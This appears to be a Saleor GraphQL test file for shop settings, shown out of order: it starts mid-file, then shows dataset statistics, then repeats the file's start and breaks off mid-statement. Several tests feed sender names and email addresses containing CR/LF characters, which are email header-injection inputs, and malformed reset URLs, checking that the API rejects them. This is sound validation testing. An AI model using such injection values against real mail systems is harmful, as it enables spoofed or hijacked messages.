company_address = data["companyAddress"] assert company_address["city"] == address.city assert company_address["streetAddress1"] == address.street_address_1 assert company_address["postalCode"] == address.postal_code def test_query_domain(user_api_client, site_settings, settings): query = """ query { shop { domain { host sslEnabled url } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert data["domain"]["host"] == site_settings.site.domain assert data["domain"]["sslEnabled"] == settings.ENABLE_SSL assert data["domain"]["url"] def test_query_languages(settings, user_api_client): query = """ query { shop { languages { code language } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["languages"]) == len(settings.LANGUAGES) def test_query_permissions(staff_api_client): query = """ query { shop { permissions { code name } } } """ permissions_codenames = set(get_permissions_codename()) response = staff_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] permissions = data["permissions"] permissions_codes = {permission.get("code") for permission in permissions} assert len(permissions_codes) == len(permissions_codenames) for code in permissions_codes: assert code in [str_to_enum(code) for code in permissions_codenames] def test_query_charge_taxes_on_shipping(api_client, site_settings): query = """ query { shop { chargeTaxesOnShipping } }""" response = api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] charge_taxes_on_shipping = site_settings.charge_taxes_on_shipping assert data["chargeTaxesOnShipping"] == charge_taxes_on_shipping def test_query_digital_content_settings( staff_api_client, site_settings, permission_manage_settings ): query = """ query { shop { automaticFulfillmentDigitalProducts defaultDigitalMaxDownloads defaultDigitalUrlValidDays } }""" max_download = 2 url_valid_days = 3 site_settings.automatic_fulfillment_digital_products = True site_settings.default_digital_max_downloads = max_download site_settings.default_digital_url_valid_days = url_valid_days site_settings.save() response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] automatic_fulfillment = site_settings.automatic_fulfillment_digital_products assert data["automaticFulfillmentDigitalProducts"] == automatic_fulfillment assert data["defaultDigitalMaxDownloads"] == max_download assert data["defaultDigitalUrlValidDays"] == url_valid_days QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS = """ { shop { defaultMailSenderName defaultMailSenderAddress } } """ def test_query_default_mail_sender_settings( staff_api_client, site_settings, permission_manage_settings ): site_settings.default_mail_sender_name = "Mirumee Labs Info" site_settings.default_mail_sender_address = "hello@example.com" site_settings.save( update_fields=["default_mail_sender_name", "default_mail_sender_address"] ) query = QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] assert data["defaultMailSenderName"] == "Mirumee Labs Info" assert data["defaultMailSenderAddress"] == "hello@example.com" def test_query_default_mail_sender_settings_not_set( staff_api_client, site_settings, permission_manage_settings, settings ): site_settings.default_mail_sender_name = "" site_settings.default_mail_sender_address = None site_settings.save( update_fields=["default_mail_sender_name", "default_mail_sender_address"] ) settings.DEFAULT_FROM_EMAIL = "default@example.com" query = QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] assert data["defaultMailSenderName"] == "" assert data["defaultMailSenderAddress"] is None def test_shop_digital_content_settings_mutation( staff_api_client, site_settings, permission_manage_settings ): query = """ mutation updateSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { automaticFulfillmentDigitalProducts defaultDigitalMaxDownloads defaultDigitalUrlValidDays } errors { field, message } } } """ max_downloads = 15 url_valid_days = 30 variables = { "input": { "automaticFulfillmentDigitalProducts": True, "defaultDigitalMaxDownloads": max_downloads, "defaultDigitalUrlValidDays": url_valid_days, } } assert not site_settings.automatic_fulfillment_digital_products response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["automaticFulfillmentDigitalProducts"] assert data["defaultDigitalMaxDownloads"] assert data["defaultDigitalUrlValidDays"] site_settings.refresh_from_db() assert site_settings.automatic_fulfillment_digital_products assert site_settings.default_digital_max_downloads == max_downloads assert site_settings.default_digital_url_valid_days == url_valid_days def test_shop_settings_mutation( staff_api_client, site_settings, permission_manage_settings ): query = """ mutation updateSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { headerText, includeTaxesInPrices, chargeTaxesOnShipping } errors { field, message } } } """ charge_taxes_on_shipping = site_settings.charge_taxes_on_shipping new_charge_taxes_on_shipping = not charge_taxes_on_shipping variables = { "input": { "includeTaxesInPrices": False, "headerText": "Lorem ipsum", "chargeTaxesOnShipping": new_charge_taxes_on_shipping, } } response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["includeTaxesInPrices"] is False assert data["headerText"] == "Lorem ipsum" assert data["chargeTaxesOnShipping"] == new_charge_taxes_on_shipping site_settings.refresh_from_db() assert not site_settings.include_taxes_in_prices assert site_settings.charge_taxes_on_shipping == new_charge_taxes_on_shipping MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS = """ mutation updateDefaultSenderSettings($input: ShopSettingsInput!) { shopSettingsUpdate(input: $input) { shop { defaultMailSenderName defaultMailSenderAddress } errors { field message } } } """ def test_update_default_sender_settings(staff_api_client, permission_manage_settings): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = { "input": { "defaultMailSenderName": "Dummy Name", "defaultMailSenderAddress": "dummy@example.com", } } response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"]["shop"] assert data["defaultMailSenderName"] == "Dummy Name" assert data["defaultMailSenderAddress"] == "dummy@example.com" @pytest.mark.parametrize( "sender_name", ( "\nDummy Name", "\rDummy Name", "Dummy Name\r", "Dummy Name\n", "Dummy\rName", "Dummy\nName", ), ) def test_update_default_sender_settings_invalid_name( staff_api_client, permission_manage_settings, sender_name ): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = {"input": {"defaultMailSenderName": sender_name}} response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) errors = content["data"]["shopSettingsUpdate"]["errors"] assert errors == [ {"field": "defaultMailSenderName", "message": "New lines are not allowed."} ] @pytest.mark.parametrize( "sender_email", ( "\ndummy@example.com", "\rdummy@example.com", "dummy@example.com\r", "dummy@example.com\n", "dummy@example\r.com", "dummy@example\n.com", ), ) def test_update_default_sender_settings_invalid_email( staff_api_client, permission_manage_settings, sender_email ): query = MUTATION_UPDATE_DEFAULT_MAIL_SENDER_SETTINGS variables = {"input": {"defaultMailSenderAddress": sender_email}} response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) errors = content["data"]["shopSettingsUpdate"]["errors"] assert errors == [ {"field": "defaultMailSenderAddress", "message": "Enter a valid email address."} ] def test_shop_domain_update(staff_api_client, permission_manage_settings): query = """ mutation updateSettings($input: SiteDomainInput!) { shopDomainUpdate(input: $input) { shop { name domain { host, } } } } """ new_name = "saleor test store" variables = {"input": {"domain": "lorem-ipsum.com", "name": new_name}} site = Site.objects.get_current() assert site.domain != "lorem-ipsum.com" response = staff_api_client.post_graphql( query, variables, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shopDomainUpdate"]["shop"] assert data["domain"]["host"] == "lorem-ipsum.com" assert data["name"] == new_name site.refresh_from_db() assert site.domain == "lorem-ipsum.com" assert site.name == new_name MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE = """ mutation updateSettings($customerSetPasswordUrl: String!) { shopSettingsUpdate(input: {customerSetPasswordUrl: $customerSetPasswordUrl}){ shop { customerSetPasswordUrl } errors { message field code } } } """ def test_shop_customer_set_password_url_update( staff_api_client, site_settings, permission_manage_settings ): customer_set_password_url = "http://www.example.com/set_pass/" variables = {"customerSetPasswordUrl": customer_set_password_url} assert site_settings.customer_set_password_url != customer_set_password_url response = staff_api_client.post_graphql( MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"] assert not data["errors"] site_settings = Site.objects.get_current().settings assert site_settings.customer_set_password_url == customer_set_password_url @pytest.mark.parametrize( "customer_set_password_url", [ ("http://not-allowed-storefron.com/pass"), ("http://[value-error-in-urlparse@test/pass"), ("without-protocole.com/pass"), ], ) def test_shop_customer_set_password_url_update_invalid_url( staff_api_client, site_settings, permission_manage_settings, customer_set_password_url, ): variables = {"customerSetPasswordUrl": customer_set_password_url} assert not site_settings.customer_set_password_url response = staff_api_client.post_graphql( MUTATION_CUSTOMER_SET_PASSWORD_URL_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) data = content["data"]["shopSettingsUpdate"] assert data["errors"][0] == { "field": "customerSetPasswordUrl", "code": ShopErrorCode.INVALID.name, "message": ANY, } site_settings.refresh_from_db() assert not site_settings.customer_set_password_url def test_query_default_country(user_api_client, settings): settings.DEFAULT_COUNTRY = "US" query = """ query { shop { defaultCountry { code country } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["defaultCountry"] assert data["code"] == settings.DEFAULT_COUNTRY assert data["country"] == "United States of America" AVAILABLE_EXTERNAL_AUTHENTICATIONS_QUERY = """ query{ shop { availableExternalAuthentications{ id name } } } """ @pytest.mark.parametrize( "external_auths", [ [{"id": "auth1", "name": "Auth-1"}], [{"id": "auth1", "name": "Auth-1"}, {"id": "auth2", "name": "Auth-2"}], [], ], ) def test_query_available_external_authentications( external_auths, user_api_client, monkeypatch ): monkeypatch.setattr( "saleor.plugins.manager.PluginsManager.list_external_authentications", lambda self, active_only: external_auths, ) query = AVAILABLE_EXTERNAL_AUTHENTICATIONS_QUERY response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["availableExternalAuthentications"] assert data == external_auths AVAILABLE_PAYMENT_GATEWAYS_QUERY = """ query Shop($currency: String){ shop { availablePaymentGateways(currency: $currency) { id name } } } """ def test_query_available_payment_gateways(user_api_client, sample_gateway, channel_USD): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert {gateway["id"] for gateway in data} == { "mirumee.payments.dummy", "sampleDummy.active", } assert {gateway["name"] for gateway in data} == { "Dummy", "SampleDummy", } def test_query_available_payment_gateways_specified_currency_USD( user_api_client, sample_gateway, channel_USD ): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query, {"currency": "USD"}) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert {gateway["id"] for gateway in data} == { "mirumee.payments.dummy", "sampleDummy.active", } assert {gateway["name"] for gateway in data} == { "Dummy", "SampleDummy", } def test_query_available_payment_gateways_specified_currency_EUR( user_api_client, sample_gateway, channel_USD ): query = AVAILABLE_PAYMENT_GATEWAYS_QUERY response = user_api_client.post_graphql(query, {"currency": "EUR"}) content = get_graphql_content(response) data = content["data"]["shop"]["availablePaymentGateways"] assert data[0]["id"] == "sampleDummy.active" assert data[0]["name"] == "SampleDummy" AVAILABLE_SHIPPING_METHODS_QUERY = """ query Shop($channel: String!, $address: AddressInput){ shop { availableShippingMethods(channel: $channel, address: $address) { id name } } } """ def test_query_available_shipping_methods_no_address( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY # when response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) > 0 assert {ship_meth["id"] for ship_meth in data} == { graphene.Node.to_global_id("ShippingMethod", ship_meth.pk) for ship_meth in ShippingMethod.objects.filter( shipping_zone__channels__slug=channel_USD.slug, channel_listings__channel__slug=channel_USD.slug, ) } def test_query_available_shipping_methods_no_channel_shipping_zones( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY channel_USD.shipping_zones.clear() # when response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == 0 def test_query_available_shipping_methods_for_given_address( staff_api_client, channel_USD, shipping_method, shipping_zone_without_countries, address, ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY shipping_method_count = ShippingMethod.objects.count() variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.US.name}, } # when response = staff_api_client.post_graphql(query, variables) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == shipping_method_count - 1 assert ( graphene.Node.to_global_id( "ShippingMethodType", shipping_zone_without_countries.shipping_methods.first().pk, ) not in {ship_meth["id"] for ship_meth in data} ) def test_query_available_shipping_methods_no_address_vatlayer_set( staff_api_client, shipping_method, shipping_method_channel_PLN, channel_USD, setup_vatlayer, ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY # when response = staff_api_client.post_graphql(query, {"channel": channel_USD.slug}) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert {ship_meth["id"] for ship_meth in data} == { graphene.Node.to_global_id("ShippingMethod", ship_meth.pk) for ship_meth in ShippingMethod.objects.filter( channel_listings__channel__slug=channel_USD.slug ) } def test_query_available_shipping_methods_for_given_address_vatlayer_set( staff_api_client, channel_USD, shipping_method, shipping_zone_without_countries, address, setup_vatlayer, ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY shipping_method_count = ShippingMethod.objects.count() variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.US.name}, } # when response = staff_api_client.post_graphql(query, variables) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert len(data) == shipping_method_count - 1 assert graphene.Node.to_global_id( "ShippingMethodType", shipping_zone_without_countries.pk ) not in {ship_meth["id"] for ship_meth in data} def test_query_available_shipping_methods_for_excluded_postal_code( staff_api_client, channel_USD, shipping_method ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.PL.name, "postalCode": "53-601"}, } shipping_method.postal_code_rules.create( start="53-600", end="54-600", inclusion_type=PostalCodeRuleInclusionType.EXCLUDE ) # when response = staff_api_client.post_graphql(query, variables) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert graphene.Node.to_global_id("ShippingMethodType", shipping_method.pk) not in { ship_meth["id"] for ship_meth in data } def test_query_available_shipping_methods_for_included_postal_code( staff_api_client, channel_USD, shipping_method ): # given query = AVAILABLE_SHIPPING_METHODS_QUERY variables = { "channel": channel_USD.slug, "address": {"country": CountryCodeEnum.PL.name, "postalCode": "53-601"}, } shipping_method.postal_code_rules.create( start="53-600", end="54-600", inclusion_type=PostalCodeRuleInclusionType.INCLUDE ) # when response = staff_api_client.post_graphql(query, variables) # then content = get_graphql_content(response) data = content["data"]["shop"]["availableShippingMethods"] assert graphene.Node.to_global_id("ShippingMethod", shipping_method.pk) in { ship_meth["id"] for ship_meth in data } MUTATION_SHOP_ADDRESS_UPDATE = """ mutation updateShopAddress($input: AddressInput){ shopAddressUpdate(input: $input){ errors{ field message } } } """ def test_mutation_update_company_address( staff_api_client, permission_manage_settings, address, site_settings, ): variables = { "input": { "streetAddress1": address.street_address_1, "city": address.city, "country": address.country.code, "postalCode": address.postal_code, } } response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert site_settings.company_address assert site_settings.company_address.street_address_1 == address.street_address_1 assert site_settings.company_address.city == address.city assert site_settings.company_address.country.code == address.country.code def test_mutation_update_company_address_remove_address( staff_api_client, permission_manage_settings, site_settings, address ): site_settings.company_address = address site_settings.save(update_fields=["company_address"]) variables = {"input": None} response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert not site_settings.company_address assert not Address.objects.filter(pk=address.pk).exists() def test_mutation_update_company_address_remove_address_without_address( staff_api_client, permission_manage_settings, site_settings ): variables = {"input": None} response = staff_api_client.post_graphql( MUTATION_SHOP_ADDRESS_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert "errors" not in content["data"] site_settings.refresh_from_db() assert not site_settings.company_address def test_staff_notification_query( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): query = """ { shop { staffNotificationRecipients { active email user { firstName lastName email } } } } """ response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) assert content["data"]["shop"]["staffNotificationRecipients"] == [ { "active": True, "email": staff_user.email, "user": { "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, } ] MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE = """ mutation StaffNotificationRecipient ($input: StaffNotificationRecipientInput!) { staffNotificationRecipientCreate(input: $input) { staffNotificationRecipient { active email user { id firstName lastName email } } errors { field message code } } } """ def test_staff_notification_create_mutation( staff_api_client, staff_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", staff_user.id) variables = {"input": {"user": user_id}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_user.email, "user": { "id": user_id, "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, }, "errors": [], } def test_staff_notification_create_mutation_with_staffs_email( staff_api_client, staff_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", staff_user.id) variables = {"input": {"email": staff_user.email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_user.email, "user": { "id": user_id, "firstName": staff_user.first_name, "lastName": staff_user.last_name, "email": staff_user.email, }, }, "errors": [], } def test_staff_notification_create_mutation_with_customer_user( staff_api_client, customer_user, permission_manage_settings ): user_id = graphene.Node.to_global_id("User", customer_user.id) variables = {"input": {"user": user_id}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": None, "errors": [ {"code": "INVALID", "field": "user", "message": "User has to be staff user"} ], } def test_staff_notification_create_mutation_with_email( staff_api_client, permission_manage_settings, permission_manage_staff ): staff_email = "test_email@example.com" variables = {"input": {"email": staff_email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings, permission_manage_staff], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": { "active": True, "email": staff_email, "user": None, }, "errors": [], } def test_staff_notification_create_mutation_with_empty_email( staff_api_client, permission_manage_settings ): staff_email = "" variables = {"input": {"email": staff_email}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_CREATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) assert content["data"]["staffNotificationRecipientCreate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE = """ mutation StaffNotificationRecipient ( $id: ID!, $input: StaffNotificationRecipientInput! ) { staffNotificationRecipientUpdate(id: $id, input: $input) { staffNotificationRecipient { active email user { firstName lastName email } } errors { field message code } } } """ def test_staff_notification_update_mutation( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): old_email = staff_notification_recipient.get_email() assert staff_notification_recipient.active staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"active": False}} staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) staff_notification_recipient.refresh_from_db() assert not staff_notification_recipient.active assert staff_notification_recipient.get_email() == old_email def test_staff_notification_update_mutation_with_empty_user( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"user": ""}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) staff_notification_recipient.refresh_from_db() assert content["data"]["staffNotificationRecipientUpdate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } def test_staff_notification_update_mutation_with_empty_email( staff_api_client, staff_user, permission_manage_settings, staff_notification_recipient, ): staff_notification_recipient_id = graphene.Node.to_global_id( "StaffNotificationRecipient", staff_notification_recipient.id ) variables = {"id": staff_notification_recipient_id, "input": {"email": ""}} response = staff_api_client.post_graphql( MUTATION_STAFF_NOTIFICATION_RECIPIENT_UPDATE, variables, permissions=[permission_manage_settings], ) content = get_graphql_content(response) staff_notification_recipient.refresh_from_db() assert content["data"]["staffNotificationRecipientUpdate"] == { "staffNotificationRecipient": None, "errors": [ { "code": "INVALID", "field": "staffNotification", "message": "User and email cannot be set empty", } ], } ORDER_SETTINGS_UPDATE_MUTATION = """ mutation orderSettings($confirmOrders: Boolean!) { orderSettingsUpdate( input: { automaticallyConfirmAllNewOrders: $confirmOrders } ) { orderSettings { automaticallyConfirmAllNewOrders } } } """ def test_order_settings_update_by_staff( staff_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True staff_api_client.user.user_permissions.add(permission_manage_orders) response = staff_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) content = get_graphql_content(response) response_settings = content["data"]["orderSettingsUpdate"]["orderSettings"] assert response_settings["automaticallyConfirmAllNewOrders"] is False site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is False def test_order_settings_update_by_app( app_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True app_api_client.app.permissions.set([permission_manage_orders]) response = app_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) content = get_graphql_content(response) response_settings = content["data"]["orderSettingsUpdate"]["orderSettings"] assert response_settings["automaticallyConfirmAllNewOrders"] is False site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is False def test_order_settings_update_by_user_without_permissions( user_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True response = user_api_client.post_graphql( ORDER_SETTINGS_UPDATE_MUTATION, {"confirmOrders": False} ) assert_no_permission(response) site_settings.refresh_from_db() assert site_settings.automatically_confirm_all_new_orders is True ORDER_SETTINGS_QUERY = """ query orderSettings { orderSettings { automaticallyConfirmAllNewOrders } } """ def test_order_settings_query_as_staff( staff_api_client, permission_manage_orders, site_settings ): assert site_settings.automatically_confirm_all_new_orders is True site_settings.automatically_confirm_all_new_orders = False site_settings.save(update_fields=["automatically_confirm_all_new_orders"]) staff_api_client.user.user_permissions.add(permission_manage_orders) response = staff_api_client.post_graphql(ORDER_SETTINGS_QUERY) content = get_graphql_content(response) assert content["data"]["orderSettings"]["automaticallyConfirmAllNewOrders"] is False def test_order_settings_query_as_user(user_api_client, site_settings): response = user_api_client.post_graphql(ORDER_SETTINGS_QUERY) assert_no_permission(response) API_VERSION_QUERY = """ query { shop { version } } """ def test_version_query_as_anonymous_user(api_client): response = api_client.post_graphql(API_VERSION_QUERY) assert_no_permission(response) def test_version_query_as_customer(user_api_client): response = user_api_client.post_graphql(API_VERSION_QUERY) assert_no_permission(response) def test_version_query_as_app(app_api_client): response = app_api_client.post_graphql(API_VERSION_QUERY) content = get_graphql_content(response) assert content["data"]["shop"]["version"] == __version__ def test_version_query_as_staff_user(staff_api_client): response = staff_api_client.post_graphql(API_VERSION_QUERY) content = get_graphql_content(response) assert content["data"]["shop"]["version"] == __version__ def test_cannot_get_shop_limit_info_when_not_staff(user_api_client): query = LIMIT_INFO_QUERY response = user_api_client.post_graphql(query) assert_no_permission(response) def test_get_shop_limit_info_returns_null_by_default(staff_api_client): query = LIMIT_INFO_QUERY response = staff_api_client.post_graphql(query) content = get_graphql_content(response) assert content == { "data": { "shop": { "limits": { "currentUsage": {"channels": None}, "allowedUsage": {"channels": None}, } } } }
30.470456
88
0.666192
from unittest.mock import ANY import graphene import pytest from django_countries import countries from .... import __version__ from ....account.models import Address from ....core.error_codes import ShopErrorCode from ....core.permissions import get_permissions_codename from ....shipping import PostalCodeRuleInclusionType from ....shipping.models import ShippingMethod from ....site.models import Site from ...account.enums import CountryCodeEnum from ...core.utils import str_to_enum from ...tests.utils import assert_no_permission, get_graphql_content COUNTRIES_QUERY = """ query { shop { countries%(attributes)s { code country } } } """ LIMIT_INFO_QUERY = """ { shop { limits { currentUsage { channels } allowedUsage { channels } } } } """ def test_query_countries(user_api_client): response = user_api_client.post_graphql(COUNTRIES_QUERY % {"attributes": ""}) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["countries"]) == len(countries) @pytest.mark.parametrize( "language_code, expected_value", ( ("", "Afghanistan"), ("(languageCode: EN)", "Afghanistan"), ("(languageCode: PL)", "Afganistan"), ("(languageCode: DE)", "Afghanistan"), ), ) def test_query_countries_with_translation( language_code, expected_value, user_api_client ): response = user_api_client.post_graphql( COUNTRIES_QUERY % {"attributes": language_code} ) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["countries"]) == len(countries) assert data["countries"][0]["code"] == "AF" assert data["countries"][0]["country"] == expected_value def test_query_name(user_api_client, site_settings): query = """ query { shop { name description } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert data["description"] == site_settings.description assert data["name"] == site_settings.site.name def test_query_company_address(user_api_client, site_settings, address): query = """ query { shop{ companyAddress{ city streetAddress1 postalCode } } } """ site_settings.company_address = address site_settings.save() response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] company_address = data["companyAddress"] assert company_address["city"] == address.city assert company_address["streetAddress1"] == address.street_address_1 assert company_address["postalCode"] == address.postal_code def test_query_domain(user_api_client, site_settings, settings): query = """ query { shop { domain { host sslEnabled url } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert data["domain"]["host"] == site_settings.site.domain assert data["domain"]["sslEnabled"] == settings.ENABLE_SSL assert data["domain"]["url"] def test_query_languages(settings, user_api_client): query = """ query { shop { languages { code language } } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["languages"]) == len(settings.LANGUAGES) def test_query_permissions(staff_api_client): query = """ query { shop { permissions { code name } } } """ permissions_codenames = set(get_permissions_codename()) response = staff_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] permissions = data["permissions"] permissions_codes = {permission.get("code") for permission in permissions} assert len(permissions_codes) == len(permissions_codenames) for code in permissions_codes: assert code in [str_to_enum(code) for code in permissions_codenames] def test_query_charge_taxes_on_shipping(api_client, site_settings): query = """ query { shop { chargeTaxesOnShipping } }""" response = api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] charge_taxes_on_shipping = site_settings.charge_taxes_on_shipping assert data["chargeTaxesOnShipping"] == charge_taxes_on_shipping def test_query_digital_content_settings( staff_api_client, site_settings, permission_manage_settings ): query = """ query { shop { automaticFulfillmentDigitalProducts defaultDigitalMaxDownloads defaultDigitalUrlValidDays } }""" max_download = 2 url_valid_days = 3 site_settings.automatic_fulfillment_digital_products = True site_settings.default_digital_max_downloads = max_download site_settings.default_digital_url_valid_days = url_valid_days site_settings.save() response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] automatic_fulfillment = site_settings.automatic_fulfillment_digital_products assert data["automaticFulfillmentDigitalProducts"] == automatic_fulfillment assert data["defaultDigitalMaxDownloads"] == max_download assert data["defaultDigitalUrlValidDays"] == url_valid_days QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS = """ { shop { defaultMailSenderName defaultMailSenderAddress } } """ def test_query_default_mail_sender_settings( staff_api_client, site_settings, permission_manage_settings ): site_settings.default_mail_sender_name = "Mirumee Labs Info" site_settings.default_mail_sender_address = "hello@example.com" site_settings.save( update_fields=["default_mail_sender_name", "default_mail_sender_address"] ) query = QUERY_RETRIEVE_DEFAULT_MAIL_SENDER_SETTINGS response = staff_api_client.post_graphql( query, permissions=[permission_manage_settings] ) content = get_graphql_content(response) data = content["data"]["shop"] assert data["defaultMailSenderName"] == "Mirumee Labs Info" assert data["defaultMailSenderAddress"] == "hello@example.com" def test_query_default_mail_sender_settings_not_set( staff_api_client, site_settings, permission_manage_settings, settings ): site_settings.default_mail_sender_name = "" site_settings.default_mail_sender_address = None site_settings.save( update_fields=["default_mail_sender_name", "default_mail_sender_address"] ) settings.DEFAULT_FROM_EMAIL = "default@example.com" query = 